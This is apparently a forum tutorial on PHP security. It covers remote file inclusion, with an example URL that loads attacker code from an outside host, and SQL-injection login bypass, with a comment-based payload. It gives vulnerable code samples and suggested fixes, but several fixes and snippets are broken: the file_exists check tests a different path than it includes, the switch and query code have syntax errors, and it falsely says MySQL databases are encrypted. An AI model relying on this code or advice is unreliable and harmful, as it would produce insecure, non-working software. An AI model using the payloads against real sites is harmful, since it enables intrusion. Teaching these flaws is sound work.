Today, PHP is a very common and very popular scripting language that is used by many people over the world. However, many php scripts that they make are vulnerable to 'hacks' by leaving some security holes open. This article will explain how someone can abuse your script and can alter your site/files, but also (even more important), this article will tell you how to PREVENT your site from being hacked and how to spot and fix those security holes.
Contents:
- Chapter 1 : To serve or not to serve
- Chapter 2 : MySql, friend or foe?
- Conclusion
Chapter 1
As many people know, you can use the include command to will save you from doing tedious copy's and paste's by including a file directly into the script for processing. Almost everyone that uses PHP in their website use it to make it easier to serve it's contents.
a small example
Code: Select all
INDEX.PHP
------------
<?php
$page = $_GET['page'];
include ($page.'txt');
?>
e.g. <a href="index.php?page=foobar">**** here</a>
However, what if someone does this
index.php?page=http://kakashi.com/exploitcode
This will have YOUR index.php running PHP code (from the file exploitcode.txt , the script adds the txt extension itself (in this case)) from another site, there's no need to say that now you're entire site is open and the attacker can run any code he/she wants at will.
We ofcourse certainly don't want this, so here are a few ways to prevent this from happening.
1. using the file_exists command that verifies if a file exists on the server itself. eg.
Code: Select all
<?php
$page = $_GET['page'];
if (file_exists($page))
{
include ($page.'txt');
}
?>
2. Second method (my personal favorite), i like to call this method barrier style. It's perfect only it needs quite more code. example:
Code: Select all
<?php
$page = $_get['page'];
switch ($page)
default:
include ('home.txt');
break;
case 'foobar':
include ('foobar.txt');
break;
case 'links':
[I]etc etc[/I]
the switch is an extended if-then sequence, it basicly checks every 'case' and watches if there is a value stated behind it that matches the input variable. If it matches it then will do the action stated under it and jump out of the switch at the break command. Since the input is always checked so it's no use to enter something that will leave your script open, e.g. If you'd enter http://a.com/xploit.txt, it would not match up with any of the cases and will force the default action to be executed.
3. Of course there are many other ways to do this but the most important thing is to check the user input.
This brings us to the second chapter, mysql
Chapter 2
It's also a common sign for site use databases like MySQL, since I don't give a ** about M$-SQL, I will discuss MySQL only.
For password authentications, MySQL databases can prove to be very usefull and hold a few advantages to flat-files, they are encrypted, they are password protected and they are way easier to manage. Here's a little example system
Code: Select all
<?php
$handle = mysql_connect($server,$user,$pass);
mysql_select_db($databasename);
$input_user = $_POST['user'];
$input_pass = $_POST['pass'];
$result = mysql_query('SELECT * FROM users WHERE user = '{$input_user}' AND pass = '{$input_pass});
if (mysql_num_rows($result) == 0)
{
echo 'Not logged in';
}
else
{
echo 'Logged in';
}
?>
Then it searches the table users for records (rows) that have $user as user and $pass as password. Since every user must be unique, all you need is to count the number of rows that has the correct password/username. For that we use the mysql_num_rows command, it simply returns the number of rows that are in the result of the previous query.
This system can also be easily exploited.
let's say that we have something like this
SELECT * FROM users WHERE user = 'foobar'-- AND 'a'='a' AND pass = 'thisdoesnotmatter'
In this case, the inputted username is foobar'-- AND 'a'='a
Since the input is not checked, the script plainly passes the input to the query. The query will do something different now, the -- tells the SQL server to ignore everything that comes after it so the query would look like this : SELECT * FROM users WHERE user = 'foobar' ...... Well I guess anyone would see this is a free login without even needing to know the password. There are endless variations like using .. OR .. statements, or UNION statements etc etc.
To prevent this kind of abuse you need to know the following stuff. MySQL is very sensitive for quotes placed on the wrong place. Luckily, there is a command that will addslashes to a string to neutralize those bloody quotes, mysql_real_escape_string() does that, it makes the input foobar'-- AND 'a'='a looks like
foobar\'-- AND \'a\'=\'a, which can be inserted into a query without a prob since it will check for the username foobar'-- AND 'a'='a, which is not a danger. Because now it cannot cut off the rest of query as it previously could.
Conclusion
This kinda wraps it up for today, these are the most important things to look at if you ever decide to create some site in PHP. There is one rule that is highly important and if you live by it you should be quite safe:
Don't ever ever trust the bloody user input
Why? you ask, that's logical, it's USER input.
normal-user = user
american = user
hacker = user
On the other hand, if you do get hacked, check the serverlogs and see how he got in. These mistakes aren't beginner-mistakes, most bulletin board software system exploits also work in this way (slightly more complicated though).
tip: If you learn to write cleanish and neat code, indents and stuff. It's much easier to debug .
Anish